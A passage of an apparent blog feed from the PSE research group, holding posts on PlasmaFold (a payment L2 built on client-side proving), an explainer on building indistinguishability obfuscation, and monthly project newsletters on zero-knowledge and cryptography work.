the project's overall scope and impact. ## Conclusion Metal MSM v2 represents a leap forward in accelerating Multi-Scalar Multiplication on Apple GPUs. By addressing the limitations of v1 through sparse matrix techniques, dynamic thread management, and other novel optimization techniques, it achieves substantial performance gains for Apple M-series chips and iPhones. However, two challenges remain: - First, GPUs excel primarily with large input sizes (typically around 2^26 or larger). Most mobile proving scenarios use smaller circuit sizes, generally ranging from 2^16 to 2^20, which limits the GPU's ability to fully leverage its parallelism. Therefore, optimizing GPU performance for these smaller workloads remains a key area for improvement. - Second, mobile GPUs inherently possess fewer cores and comparatively lower processing power than their desktop counterparts, constraining achievable performance. This hardware limitation necessitates further research into hybrid approaches and optimization techniques to maximize memory efficiency and power efficiency within the constraints of mobile devices. Addressing these challenges will require ongoing algorithmic breakthroughs, hardware optimizations, and seamless CPU–GPU integration. Collectively, these efforts pave a clear path for future research and practical advancements that enable the mass adoption of privacy-preserving applications. ## Get Involved We welcome researchers and developers interested in GPU acceleration, cryptographic computations, or programmable cryptography to join our efforts: - [GPU Exploration Repository](https://github.com/zkmopro/gpu-acceleration/tree/v0.2.0) (latest version includes Metal MSM v2) - [Mopro](https://github.com/zkmopro/mopro) (Mobile Proving) For further inquiries or collaborations, feel free to reach out through the project's GitHub discussions or directly via our [Mopro community on Telegram](https://t.me/zkmopro). ## Special Thanks We extend our sincere gratitude to [Yaroslav Yashin](https://x.com/yaroslav_ya), Artem Grigor, and [Wei Jie Koh](https://x.com/weijie_eth) for reviewing this post and for their valuable contributions that made it all possible. [^1]: Bootle, J., & Chiesa, A., & Hu, Y. (2022). "Gemini: elastic SNARKs for diverse environments." IACR Cryptology ePrint Archive, 2022/1400: https://eprint.iacr.org/2022/1400 [^2]: Lu, Y., Wang, L., Yang, P., Jiang, W., Ma, Z. (2023). "cuZK: Accelerating Zero-Knowledge Proof with A Faster Parallel Multi-Scalar Multiplication Algorithm on GPUs." IACR Cryptology ePrint Archive, 2022/1321: https://eprint.iacr.org/2022/1321 [^3]: Wang, H., Liu, W., Hou, K., Feng, W. (2016). "Parallel Transposition of Sparse Data Structures." Proceedings of the 2016 International Conference on Supercomputing (ICS '16): https://synergy.cs.vt.edu/pubs/papers/wang-transposition-ics16.pdf ]]>
metal msm gpu client-side proving zkp
<![CDATA[A trustless and simple 14k+ TPS payment L2 from Plasma and client-side proving]]> https://pse.dev/blog/a-trustless-and-simple-14k-tps-payment-l2-from-plasma-and-client-side-proving https://pse.dev/blog/a-trustless-and-simple-14k-tps-payment-l2-from-plasma-and-client-side-proving Fri, 18 Jul 2025 00:00:00 GMT <![CDATA[ # A trustless and simple 14k+ TPS payment L2 from Plasma and client-side proving We are excited to present our latest work: PlasmaFold ([repo](https://github.com/dmpierre/plasma-fold), [eprint](https://eprint.iacr.org/2025/1300)), an incrementally verifiable, simple and efficient payment L2 reaching 14k+ TPS. PlasmaFold operates under a "verifiable plasma" regime. On one hand, it uses plasma-like data availability requirements, restricting the amount of data posted by an aggregator to minimal amounts. On the other, it requires the plasma aggregator to verifiably build blocks and users to run a (lightweight) client-side prover. This combination removes from the aggregator most of its cheating avenues while allowing users to exit the chain non-interactively at any point in time, without any particular assumptions regarding their liveness. Our prototype implementation demonstrates a PlasmaFold aggregator running on low-end hardware and a WebAssembly (WASM) client-side prover efficiently running within a chrome browser. ## Protocol description We succinctly describe here the PlasmaFold L2 protocol, where further details can be found in the [eprint](https://eprint.iacr.org/2025/1300). PlasmaFold runs on two kind of proofs: (1) a block proof $\Pi^{\mathsf{block}}_{t}$ produced by the aggregator and (2) a balance proof $\Pi^{\mathsf{balance}}_{id}$ managed by each user. First, the aggregator builds a transaction tree $\mathcal{T}^{\mathsf{tx}}_t$, composed of leaves consisting in transaction hashes. Before running the IVC prover, the aggregator proposes to each transaction sender with id $id$ the root $r^{\mathsf{tx}}_{t}$ along a merkle inclusion proof $\pi^{\mathsf{tx}}_{t}[id]$ for their corresponding $id$ and transaction within $\mathcal{T}^{\mathsf{tx}}_t$. Transaction senders acknowledge receiving and checking the proposal by sending back their signature over their transaction and the aggregator's transaction tree root $\mathtt{sign(} \mathsf{tx} \vert \vert r^{\mathsf{tx}}_{t}\mathtt{)}$. When done, the aggregator runs his IVC prover. At each step, it ensures that each sender signature is correct, accumulates the transaction signer's public key into an accumulator $\mathtt{acc}^{\mathsf{signer}}_{t}$ and updates a global UTXO tree $\mathcal{T}^{\mathsf{utxo}}_t$, according to each transaction's input/outputs. When done, the aggregator posts $\mathcal{L}^{\mathsf{signer}}_{t}$ along with the block IVC proof $\Pi^{\mathsf{block}}_{t}$ containing the updated global UTXO tree root $r^{\mathsf{utxo}}_t$, the transaction tree root $r^{\mathsf{tx}}_{t}$ and the signer accumulator value $\mathtt{acc}^{\mathsf{signer}}_{t}$. The rollup contract checks the value of $\mathtt{acc}^{\mathsf{signer}}_{t}$ from the posted $\mathcal{L}^{\mathsf{signer}}_{t}$, correspondingly increments nonces of transaction senders and computes the block hash value $h^{\mathcal{blk}}_{t} = H(t, r^{\mathsf{tx}}_{t}, \mathtt{acc}^{\mathsf{signer}}_{t})$, where $t$ is the current block height. ![plasmafold-txflow](/articles/a-trustless-and-simple-14k-tps-payment-l2-from-plasma-and-client-side-proving/plasmafold-txflow.png) _Generating and verifying an IVC block proof in PlasmaFold_ Upon sending or receiving a transaction, users run their client-side IVC prover. At each step, the user's IVC recomputes $h{\mathcal{blk}}_{t}$, ensures that the claimed transaction is in the claimed transaction tree root $r^{\mathsf{tx}}_{t}$, updates the user's balance while preventing block or transaction replays using the block height $t$ and the transaction's index within $\mathcal{T}^{\mathsf{tx}}_t$. We handle deposits and withdrawals as special kinds of transactions, where the former has a special, pre-determined, address as sender while the latter as a special, pre-determined, address as recipient. Thus, users can bridge back to the L1 using a regular transaction by sending to the special, agreed-upon, address. In the case of an emergency exit, users can simply send their PlasmaFold IVC balance proof $\Pi^{\mathsf{balance}}_{id}$ to the rollup contract to non-interactively withdraw their funds. ## Throughput We consider the case where a block is only composed of transactions (no deposits or withdrawals) and all senders have signed $r^{\mathsf{tx}}_{t}$. Here, $t$ is obtained on the rollup contract and $r^{\mathsf{utxo}}_t$, $r^{\mathsf{tx}}_{t}$ and $\mathtt{acc}^{\mathsf{signer}}_{t}$ are each 32 bytes values. The aggregator posts the content of $\mathcal{L}^{\mathsf{signer}}_{t}$ for the contract to compute $\mathtt{acc}^{\mathsf{signer}}_{t}$. Each element is, say, $\sim 4.15$-byte integer representing the user $id$. In that setting the L2 can accommodate for more than the current earth population and a value similar to [Intmax2](https://eprint.iacr.org/2023/1082). Assuming that we use [MicroNova](https://eprint.iacr.org/2024/2099) for the decider SNARK, the compressed proof size hovers at 12 KB given the aggregator circuit size. To compute the throughput of our L2, we divide the amount of data which can be inserted into an L1 block by the number of seconds occurring between two blocks[^scaling]. In the case of Ethereum, within a blob of size 0.375MB and a block time of 12s, we have: $$ \frac{0.375 \text{ MB} - 12000 \text{ MB} - 96 \text{ B}}{{4.15 \text{ B}}\times {12 \text{ s}}} \approx 7300 \text{ TPS}$$ Moreover, Ethereum's recent Pectra upgrade, which includes EIP-7691, doubled the average amount of available data, placing PlasmaFold at $\approx 14000 \text{ TPS}$. ## Benchmarks To demonstrate the performance of PlasmaFold and study how transaction batch size impacts efficiency, we evaluate the aggregator and user IVC by measuring the circuit size, prover time, RAM usage and SRS size. We leverage a folding-schemes based IVC, namely [Nova](https://eprint.iacr.org/2021/370) and prototype both our aggregator and client-side prover using [Sonobe](https://github.com/privacy-ethereum/sonobe), a modular folding-schemes library, built on top of arkworks. First, since most blockchain wallets run within browsers, we compile to WebAssembly our client-side prover and run our benchmarks within a chrome browser with an apple m2 pro and 16GB of RAM. | $\textbf{Batch size}$ | $\vert\mathcal{F}_{\mathsf{user}}\vert$ | $\vert\mathcal{F}^{\mathsf{aug}}_{\mathsf{user}}\vert$ | $\mathsf{IVC}.\mathcal{P}$ (s) | $\textbf{RAM usage}$ (MB) | $\vert \mathsf{srs} \vert$ (MB) | | --------------------- | --------------------------------------- | ------------------------------------------------------ | ------------------------------ | ------------------------- | ------------------------------- | | 1 | 19k (< recursive cost) | 76k | 2.8 | 291 | 73 | | 2 | 36k (< recursive cost) | 92k | 3.5 | 343 | 90 | | 5 | 87k | 143k | 5.3 | 579 | 149 | | 8 | 138k | 193k | 7.3 | 737 | 200 | | 10 | 171k | 227k | 8.1 | 845 | 233 | Then, we run the aggregator benchmarks on a Linux PC with an Intel Core i9-12900K CPU and 64GB of RAM (transfer only mode): | $\textbf{Batch size}$ | $\vert\mathcal{F}_{\mathsf{user}}\vert$ | $\vert\mathcal{F}^{\mathsf{aug}}_{\mathsf{user}}\vert$ | $\mathsf{IVC}.\mathcal{P}$ (s) | $\textbf{RAM usage}$ (MB) | $\vert \mathsf{srs} \vert$ (MB) | | --------------------- | --------------------------------------- | ------------------------------------------------------ | ------------------------------ | ------------------------- | ------------------------------- | | 1 | 257k | 321k | 0.9 | 2533 | 313 | | 2 | 520k | 585k | 1.5 | 4108 | 579 | | 4 | 1045k | 1113k | 2.8 | 7841 | 1111 | | 8 | 2096k | 2169k | 5.8 | 15215 | 2175 | | 16 | 4198k | 4282k | 13.1 | 30520 | 4304 | Our results show that both our aggregator and client provers are highly practical, able to run on commodity hardware. This illustrates that running a scalable payment L2 does not require a particular high-end hardware setup, both from the operator and user perspective. ## Upcoming work The current PlasmaFold implementation is a prototype. We expect that optimizing cryptographic routines and circuits will cut current proving performances, both in terms of RAM and proving-time. We are also looking forward to prototyping a privacy-preserving version for PlasmaFold. Since zk IVC proofs only consists into re-randomizing the IVC witness, we expect the zk overhead to be minimal for the client-side IVC prover. [^scaling]: [see](https://arxiv.org/abs/2107.10881) ]]> intmax plasma l2 scaling zero-knowledge proofs validity proofs data availability <![CDATA[PSE July 2025 Newsletter]]> https://pse.dev/blog/pse-july-2025-newsletter https://pse.dev/blog/pse-july-2025-newsletter Wed, 16 Jul 2025 00:00:00 GMT <![CDATA[A roundup of research and development updates from PSE teams in July 2025, covering client-side proving, post-quantum cryptography, zkID, TLSNotary, MPC, MACI, and more.]]> <![CDATA[ Here’s a round-up of what PSE teams have been up to this last month! If you’re interested in the context of future direction of any of these projects, pop into [our Discord](https://pse.dev/discord) and chat with our teams. ## 🧪 Research Highlights ### [Client-Side Proving](https://pse.dev/en/projects/client-side-proving) We completed benchmarking transparent post-quantum ZKP systems for zkID and published [the results here](https://www.notion.so/July-Newsletter-22ad57e8dd7e80f2a113ef0b51d0e63e?pvs=21). Next, we’re extending these benchmarks to circuits beyond zkID and other popular ZKP systems. ### [Post-Quantum Cryptography](https://pse.dev/en/projects/post-quantum-cryptography) After reviewing existing FHE schemes, we decided to begin by addressing verifiable FHE (vFHE) in the context of FHEW-like schemes. The team is exploring these more with a focus on extending the Lazer/LaBRADOR API and addressing its current limitations, while also experimenting with Lattirust. Collaboration with OpenFHE and FairMath is ongoing. We aim to isolate and analyze the bottleneck operations affecting verifiability to inform targeted modifications that would make FHE schemes more vFHE-compatible. In parallel, we plan to either complete the Lazer/LaBRADOR toolchain or pivot to Lattirust, contributing optimizations to enhance its runtime performance. This investment help us prepare towards a future of performant post-quantum programmable cryptography protocols. ### [Delegated Proving](https://pse.dev/en/projects/private-proof-delegation) We’re making progress on implementing our FHE-based privacy-preserving design (PPD). Right now, we’re focused on building a constant-depth Number Theoretic Transform (NTT) optimized for FHE ciphertexts, which is a crucial step toward efficient homomorphic operations. Next, we plan to implement a polynomial commitment scheme that works over mixed ciphertext and plaintext values using this constant-depth NTT, moving us closer to more secure and scalable cryptographic protocols. ### [PlasmaFold](https://pse.dev/projects/plasma-fold) The team attended ETHCC, where they delivered their first PlasmaFold presentation, and also met with the Intmax team. Next steps include submitting the paper to ePrint, expanding communications around the paper and the project, and preparing a formal security proof with the possibility of submitting to a major crypto conference. The team is also beginning to evaluate how to add a privacy layer to the system. Additionally, they are open to collaborations focused on optimizing folding scheme implementations and developing wallets with efficient client-side proving capabilities. ### [Indistinguishability Obfuscation (iO)](https://pse.dev/en/projects/machina-io) We presented our work at the [Obfuscation Workshop](https://simons.berkeley.edu/talks/sora-suegami-ethereum-foundation-machina-io-2025-06-24) hosted by the Simons Institute and ZuBerlin, and published a new educational [article](https://machina-io.com/posts/unboxing.html) about the iO construction. We also talked about the [importance of iO for Ethereum](https://x.com/backaes/status/1934888306564637003) applications, and started implementing a public lookup evaluation on BGG+ encodings. Next we are researching an efficient PRF evaluation and a private lookup evaluation over BGG+ encodings. We’d love to see applications currently relying on MPC or TEE explore how iO can remove threshold assumptions. ## 🔧 Development Highlights ### [TLSNotary](https://pse.dev/en/projects/tlsn) This month, we continued our efforts to improve developer experience, enhance stability and performance, and expand market outreach. On the performance side, we built a new benchmarking harness, made various protocol improvements, and began working on a new commitment scheme. For developer experience, we prototyped a new plugin system using WASM to enable easier integration. In outreach, we maintained ongoing conversations with ecosystem players to understand their needs, and presented TLSNotary at Dappcon 2025. Moving forward, we’ll increase focus on the plugin system to simplify platform-independent TLSNotary integration and draft a roadmap for the TLSNotary 1.0 release. ### [MACI](https://pse.dev/en/projects/maci) This month, we explored integration with Agora’s stack and presented at Aragon’s demo day, receiving positive feedback and clear priorities: improve UX, find ecosystem partners, and finalize coordinator decentralization for production. Research on coordinator decentralization continues, with progress on the MACI v4 proposal ([details](https://www.notion.so/218d57e8dd7e805aa5ddd1839045e238?pvs=21) - open for contribution!). We supported secure voting for SIV’s in-person vote cancellation, helped PriVote integrate MACI v3 under a grant, and completed benchmarking ([costs](https://maci.pse.dev/docs/supported-networks/costs), [networks](https://maci.pse.dev/docs/supported-networks/)). The Aragon integration blog post is finalized. Next, we’ll improve the Aragon demo UX, finalize v4 research, continue supporting PriVote, scope Gitcoin GG24, automate poll tallying, and publish blog posts on Aragon integration and coordinator service. ### [zk-kit](https://pse.dev/en/projects/zk-kit) The new ZK-Kit website is live at [zkkit.org](https://zkkit.org/), supporting our goal to make the project fully community-owned! We’ve cleaned up issues, pull requests, and contribution guidelines ([here](https://hackmd.io/@alizk/Skz3ugOT1l)), and completed a blog post on the community exit plan ([read here](https://hackmd.io/@alizk/SyWn4iYtkx)). Next, we’ll finalize the community exit plan with contributors and partners, transfer repos to ZK-Kit’s GitHub organization, publish the blog post, and announce on X. We’re seeking long-term core contributors and partners. If you want to contribute with production-grade libraries for the ZK ecosystem, we’re looking for you! ### [MPC Framework](https://pse.dev/en/projects/mpc-framework) This month, the team focused on demonstrating the impact of MPC on Ethereum, sharing progress through multiple talks and new features. Presentations were given at [Rust Sydney](https://www.meetup.com/rust-sydney/) (slides [here](https://docs.google.com/presentation/d/1s8aFxecuk1fNDeN2_jIUFY5gpIPACIJto7G1BtTiL8o/edit?slide=id.p#slide=id.p) and rehearsal [here](https://drive.google.com/file/d/14p8ZGNeNbdgTZRMvw2w6al2i00VHNe4b/view?usp=sharing)), EthCC ([recording](https://www.youtube.com/live/uWdUgADLM7Q?t=9s)), and the PSE Retreat (slides [here](https://docs.google.com/presentation/d/1We1hpJMDthP-p6CZuvJD91TN0K-Kr1slm1Jc8HjHC6M/edit?usp=sharing)). Support for sha256 and other external circuits was added, described in this [blog post](https://mpc.pse.dev/blog/sha256), alongside major performance improvements detailed [here](https://mpc.pse.dev/blog/performance-improvements). The [Ballpark](https://mpc.pse.dev/apps/ballpark) app was launched to showcase the framework’s capabilities. Next steps include another talk at SydJS, developing an MPC Auctions proof of concept with user research, and advancing on-chain MPC tooling and examples. ### [Mopro](https://pse.dev/en/projects/mopro) ETHGlobal Cannes showcased strong projects built with Mopro, despite challenges around custom circuits and incomplete Noir templates. The top winners included [Mobiscale](https://ethglobal.com/showcase/mobiscale-n9vj6), integrating RISC0 and ML facial recognition on iOS; [Zkipper](https://ethglobal.com/showcase/zkipper-czc3z), combining gnark with Mopro on Android; and [Eyes Proov](https://ethglobal.com/showcase/eyes-proov-at10u), enhancing user experience with product potential. Many teams worked on proof of location, age verification, and wallet proofs, providing valuable feedback. We released a [Circom wallet connect template](https://github.com/moven0831/mopro-wallet-connet-circom), Semaphore packages for Swift, Kotlin, React Native, and Flutter (in progress), plus Metal MSM v2 for GPU acceleration ([details](https://github.com/zkmopro/gpu-acceleration/pull/92)). Next, we’ll fix hackathon issues by updating Noir, building on-chain verifier templates, enabling cross-platform support, integrating gnark, and benchmarking tools like zkVM mobile provers ([Imp1](https://github.com/ingonyama-zk/imp1), [Cairo-M](https://github.com/kkrt-labs/cairo-m)). ### [POD2](https://pse.dev/projects/pod2) We’ve completed an initial, feature-complete implementation of POD2. This includes zero-knowledge proofs, efficient Schnorr signatures over an elliptic curve built on the quintic extension of Goldilocks for SignedPods, and recursion support for MainPod and generic Pods with serialization/deserialization. 0xPARC interns have begun building around POD2, creating an RSA introduction pod, a Mobile Driving License pod, and a server that issues SignedPods by validating users’ RSA pods linked to GitHub public keys. Next, we’ll fix bugs uncovered through diverse usage, improve ergonomics based on user feedback, and reflect at summer’s end on building POD2 applications and gadgets to guide our next steps. ### [zkID Standards](https://pse.dev/projects/zk-id) On the ZKP standards front, we recently published the [[PCS IETF draft](https://datatracker.ietf.org/doc/draft-zkproof-polycommit/)](https://datatracker.ietf.org/doc/draft-zkproof-polycommit/) and began collecting feedback on the [[PIOP draft](https://hackmd.io/@janabel/SyAv8S9lgx)](https://hackmd.io/@janabel/SyAv8S9lgx). We’re also continuing our collaboration with the W3C Data Integrity Working Group. In June, we shipped [[zkPDF](https://pse.dev/blog/zkpdf-unlocking-verifiable-data)](https://pse.dev/blog/zkpdf-unlocking-verifiable-data), enabling verifiable and selective disclosure on PDFs. We're also nearing completion of the second iteration of the zkID ZKP Wallet Unit, now using Spartan and Hyrax backends. On the education and outreach side, we presented at GDC25, Dappcon, ZuBerlin, and zkSummit ([[watch the talk](https://www.youtube.com/watch?v=LyvqyeSAvL0)](https://www.youtube.com/watch?v=LyvqyeSAvL0)). We also published blog posts covering zkPDF and client-side zkID benchmark results. Looking ahead, we’re focused on finalizing the ZKP Wallet Unit research paper, delivering the second iteration, and exploring post-quantum (PQ) schemes. ### [Semaphore](https://pse.dev/en/projects/semaphore) We’ve been in maintenance mode, cleaning up the repo and reviewing PRs. We presented on Semaphore in Noir at NoirHack — watch the [recording](https://youtu.be/vfL7z74jGyU) and see the [slides](https://www.canva.com/design/DAGqgbmhIMw/iJz2c3NCMUko7iA6GfMxKw/edit?utm_content=DAGqgbmhIMw&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton). Next, we’ll focus on governance research exploring Semaphore’s applications in private delegation and multisig, and improve developer experience by refreshing documentation and adding more examples. We’re also exploring collaboration opportunities with Worldcoin around shared research topics like PIR. ]]> zk cryptography ethereum privacy scaling folding voprf <![CDATA[Unboxing iO: Building From Familar Crypto Blocks]]> https://pse.dev/blog/unboxing-io-building-from-familar-crypto-blocks https://pse.dev/blog/unboxing-io-building-from-familar-crypto-blocks Fri, 11 Jul 2025 00:00:00 GMT <![CDATA[ # UNBOXING IO: BUILDING FROM FAMILIAR CRYPTO BLOCKS 2025‑07‑01 by [Enrico Bottazzi](https://x.com/backaes), with contribution and review from [Pia Park](https://x.com/0xpiapark) and [Sora Suegami](https://x.com/SoraSue77) ## Introduction Over the past few months of researching and implementing indistinguishability obfuscation (iO), we’ve noticed a frustrating gap in the available resources. Most papers are highly technical and intimidating, while beginner friendly articles stay at a vague, feature‑level overview: they tell you what iO can enable but nothing about how to construct it. This article aims to bridge that gap. We’ll work through a concrete, end‑to‑end example, of a non‑interactive conditional signature printer, building it in several attempts **using familiar cryptographic primitives as building blocks**. By the end, you should have a clear roadmap of the theoretical building blocks behind iO and a hands‑on understanding of its power. ## Goal: non‑interactive conditional signature printer Our target program $f$ behaves as follows: $$ f(k, x)= \begin{cases} \textsf{sign}(k, x) & \text{if } x \text{ is prime},\\ \bot & \text{otherwise}. \end{cases} $$ That is, given a message $x$, it outputs a valid signature under the secret key $k$ when $x$ is prime, and $\bot$ otherwise. The setting involves a **key owner**, who generates the program and holds the signing key $k$, and a collection of **users**, who supply numbers $x$ and hope to obtain signatures when the condition holds. Any viable construction must meet two requirements: 1. **No interaction.** Once the program is published, users must be able to run it and (conditionally) obtain signatures without ever contacting the key owner. Even if the key owner is off‑grid on a desert island, the system must keep working. 2. **Key privacy.** Executing the program should reveal nothing about $k$ beyond what is already implicit in the output $f(k, x)$. Simply releasing the source code is therefore out of the question, because it would expose the key. In the sections that follow we’ll try to build this program with various attempts: first with a public truth table, then with fully homomorphic encryption (FHE), next with functional encryption (FE), and finally with an augmented version of FE that we'll call indistinguishability obfuscation (iO). ### Attempt #1 – public truth table We start from something straightforward: let the key owner, holding the signing key $k$, publish a truth table that maps every possible input $x_i$ to the corresponding output $f(k,x_i)$. Concretely, the key owner fixes an input domain, say 64 bits, and precomputes $f(k,x_i)$ for each of the $2^{64}$ possible inputs. You can imagine the truth table as a huge dictionary keyed by every $x_i$, with each value equal to $f(k,x_i)$. Given Alice as a user with input $x=7$, she could lookup the truth table corresponding to her key and obtain $f(k, 7)$. While this approach satisfies the two requirements laid out earlier, it scales exponentially with the input size, so it's impractical. We therefore add a third requirement: the work done by the key owner should not grow exponentially with the bit length of the user’s input. ### Attempt #2 - fully homomorphic encryption As you might have heard in some conference, fully homomorphic encryption (FHE) is always mentioned with respect to "computation on encrypted data", so it sounds a potential solution to our problem. We first list the core APIs of FHE. In particular, we describe the secret key variant. We won't go too deep into this as, differently from iO, you can find plenty of [great resources online](https://fhe.org/resources/). $$ \begin{aligned} \mathsf{FHE.Keygen}() &\rightarrow sk\\ \mathsf{FHE.Enc}(k, sk) &\rightarrow ct_k\\ \mathsf{FHE.Eval}(f, ct_k) &\rightarrow ct_{f(k)}\\ \mathsf{FHE.Dec}(ct_{f(k)}, sk) &\rightarrow f(k) \end{aligned} $$ Here's a sketch of a non‑interactive conditional signature printer based on FHE. The key owner is also the holder of the FHE secret key $sk$. The role of the cloud is to store data produced by the key owner and make them available to everyone, including any other user such as Bob or Carl that might be unknown to the key owner. ![FHE](https://hackmd.io/_uploads/HyIN1bkVxg.png) Although Alice can evaluate the function $f$ over the encrypted signing key $ct_k$ and her input $7$ to obtain an encrypted version of the output $ct_{f(k,7)}$, this still requires a further interaction with key owner to decrypt it. So this violates our no‑interaction requirement. On the other hand, publishing the FHE secret key $sk$ would allow for non‑interactive decryption but also violate the security requirement of our application, since now Alice can also decrypt $ct_k$. We need to think deeper... ### Attempt #3 - functional encryption The next technology that we are going to introduce is functional encryption (FE). This is a less "popular" cryptographic building block. This is not surprising since it took me many months to find a valid motivating application for it. We first analyse the core APIs of FE and describe such application. Only then we'll be equipped to apply FE to our problem. $$ \begin{aligned} \mathsf{FE.Setup}() &\rightarrow mpk, msk\\ \mathsf{FE.Keygen}(msk, f) &\rightarrow sk_f\\ \mathsf{FE.Enc}(k, mpk) &\rightarrow ct_k\\ \mathsf{FE.Dec}(ct_k, sk_f) &\rightarrow f(k) \end{aligned} $$ The motivating example we chose to help you understand FE is email spam filtering: on one hand, Daisy doesn't want to rely on a cloud mail provider able to read all her emails. On the other hand, a secure (fully encrypted) cloud mail provider wouldn't be able to detect spam emails and require Daisy to download each email, including potentiall spam ones, consuming her precious bandwidth and device space. Instead, Daisy can run the setup to obtain a master public key $mpk$ and a master secret key $msk$. Use the latter to generate a functional secret key $sk_f$ tied to a function $f$ that detects if an email is spam (returns $1$) or not (returns $0$). Share the functional key with her secure email cloud provider. Every sender can encrypt an email $k$ directed to Daisy under her master public key $mpk$ and share the ciphertext $ct_k$ to the email provider. For each email received by Daisy, the provider can run the FE decryption and learn whether an email is spam or not and only serve the non‑spam ones to Daisy. More importantly, the server doesn't learn any information about the content of an email beyond whether this is spam or not. We additionally note that the function $f$ is public to the receiver of $sk_f$. Having clarified the interface of FE, we can go back to our problem: building a non‑interactive conditional signature printer. Here's a potential sketch. ![FE](https://hackmd.io/_uploads/Bk-ad-1Egg.png) While we appreciate the non‑interactive property of FE decryption we still have a major issue. FE decryption doesn't allow Alice to additionally inject their input $x=7$. How can the key owner allow for the inputs dynamically chosen by Alice (and, potentially, by many other unknown users)? A naive solution is for the key owner to generate a functional key for any possible input combination. Specifically, for each possible input $x_i$, the key owner defines a function $f_{[x_i]}(k)$ that, on input $k$, returns $f(k, x_i)$ where $x_i$ is hardcoded into the function definition. In that scenario, Alice could use the functional key for $f_{[7]}(k)$ and obtain the decrypted value $f(k, 7)$. But this means that the work of the key owner is exponential to the number of input bits. Are we back to square one? Rather than discouraging ourselves, we see the glass half full: we finally found a way to allow for non‑interactive decryption binded to a specific function set by the key owner. We just need to add a little piece to it... ### Attempt #4 augmented FE (implying iO) We now imagine a wishful solution: what if the scheme supported an additional API (in blue) that allows Alice to extend the ciphertext provided by the key owner with her dinamically chosen input $x$. $$ \begin{aligned} \mathsf{FE.Setup}() &\rightarrow mpk, msk\\ \mathsf{FE.Keygen}(msk, f) &\rightarrow sk_f\\ \mathsf{FE.Enc}(k, mpk) &\rightarrow ct_k\\ \color{blue}{\mathsf{FE.ExtendCT}(ct_k, x)} &\color{blue}{\rightarrow ct_{k || x}}\\ \mathsf{FE.Dec}(ct_{k || x}, sk_f) &\rightarrow f(k, x) \end{aligned} $$ Here's the sketch of the application assuming this augemented FE construction ![A_FE](https://hackmd.io/_uploads/ryK9AbJVxx.png) Success! This solution satisfies all the required properties: - Alice, and potentially any other user, can obtain the result of $f(k, x)$ without any interaction with the key owner - The construction is secure as the users nothing more than $f(k, x)$. The definition of $f$ is public but this is not an issue - No exponential effort is required from the key owner Before moving forward, we do notice that our interface has become too cluttered and, while cleaning it up, we redefine it as iO! $$ \begin{aligned} % ---------- first group ---------- \left. \begin{array}{l} \mathsf{FE.Setup}() \rightarrow mpk, msk\\ \mathsf{FE.Keygen}(msk, f) \rightarrow sk_f\\ \mathsf{FE.Enc}(k, mpk) \rightarrow ct_k \end{array} \right\} &\;\mathsf{iO.Obf}(f(k,\cdot)) \rightarrow \tilde{C} \\[8pt] % ---------- second group ---------- \left. \begin{array}{l} \mathsf{FE.ExtendCT}(ct_k, x) \rightarrow ct_{k \,\|\, x}\\ \mathsf{FE.Dec}(ct_{k \,\|\, x}, sk_f) \rightarrow f(k, x) \end{array} \right\} &\;\mathsf{iO.Eval}(\tilde{C}, x) \leftarrow f(k, x) \end{aligned} $$ Everything (hopefully) became much cleaner now. iO can be viewed as an extended version of FE that allows a user to inject their inputs bits into the ciphertext. The interface is set to allow an obfuscator (which, in our example, is the key owner) to set a public function $f$ that takes as inputs a secret $k$ and another yet unknown input of fixed size and obtain an obfuscated version $\tilde{C}$ of that program. The obfuscated program can be freely published to the public and any evaluator (such as Alice) with input $x$ can evaluate it to obtain $f(k, x)$. The final sketch for our non‑interactive conditional signature printer build via iO looks as follows: ![IO](https://hackmd.io/_uploads/B1u0Gf1Elg.png) The following diagram illustrates the program that we managed to obfuscate. In particular, everything that is inside the dotted rectangle represents our obfuscated program $\tilde{C}$: - the function definition $f$, made of the set of arithmetic gates to be performed by the program, is public - the signing key $k$ is private ![Screenshot 2025-06-21 at 10.45.44](https://hackmd.io/_uploads/SJlUSWg4Egg.png) ### Final building blocks We saw that iO is required to build a non‑interactive conditional signature printer and it can be viewed as an extended version of FE that supports ciphertext extension. Now we can finally sketch out a map of the core primitives needed to build iO, with pointers to the main academic references. ![Screenshot 2025-07-01 at 13.35.47](https://hackmd.io/_uploads/H1fyiNQBlx.png) To build functional encryption, we heavily rely on the construction introduced by [AKY24a](https://eprint.iacr.org/archive/2024/1719/20241022:040259)[*] which only uses matrix multiplication, [BGG+ encoding](https://www.youtube.com/watch?v=O0NoW4UOd9Y) and [lattice trapdoors](https://eprint.iacr.org/2011/501). Once functional encryption is built, there are different ways to obtain iO which we defined under the umbrella and informal term "augmented FE". Constructions from [AKY24b](https://eprint.iacr.org/2024/1720)[*], [AJ15](https://www.youtube.com/watch?v=4TR_NCSqG4I&t=321s)[**] and [BV15](https://eprint.iacr.org/2015/163.pdf)[**] obtain iO via a recursive usage of FE. This represents the main efficiency bottleneck of current iO constructions. Conversely, our construction [SBP25](https://eprint.iacr.org/2025/236)[*] builds iO from FE using [AKY24a] in a non‑black‑box way allowing us to replace recursive FE with simple matrix multiplications. [*] The construction builds FE/iO only for pseudorandom functions, which can be extended to iO for functions using the transformation from [BDJ+24](https://eprint.iacr.org/2024/1742.pdf). [**] The construction describes how to transform **any** FE scheme for general functions to iO. ## Conclusion Throughout the sections, we’ve taken a look at various ways to construct a non‑interactive conditional signature printer. Among these attempts, the iO based construction is the only one that strictly satisfies our requirements. Although [we still need to push for its practicality first](https://machina-io.com/posts/hello_world_first.html), we believe iO could unlock applications that were impossible before. We hope you’re as excited as we are about the future possibilities of this technology! ]]> <![CDATA[PSE June 2025 newsletter]]> https://pse.dev/blog/pse-june-2025-newsletter https://pse.dev/blog/pse-june-2025-newsletter Tue, 08 Jul 2025 00:00:00 GMT <![CDATA[Check out what PSE teams have been focused on in June 2025!]]> <![CDATA[ Here’s a round-up of what PSE teams have been up to in June! ## 🧪 Research Highlights ### [Client-Side Proving](https://pse.dev/en/projects/client-side-proving) The Client-Side Proving team [published benchmarks](https://pse.dev/blog/efficient-client-side-proving-for-zkid) for post-quantum zk-SHA256 circuits, helping assess feasibility for mobile and other tighter bandwidth setups. In the next phase, we will extend our benchmarks beyond zkID and explore client-side proving for Ethereum. ### [Verifiable OPRF (vOPRF)](https://pse.dev/en/projects/voprf) A [new fork](https://github.com/privacy-scaling-explorations/stealthnote) is underway to bring vOPRF to [Stealthnote](https://stealthnote.xyz/) is underway to integrate [vOPRF](https://pse.dev/en/projects/voprf), enhancing anonymous message broadcasts with improved privacy. ### [Post-Quantum Cryptography](https://pse.dev/en/projects/post-quantum-cryptography) We’re currently exploring use 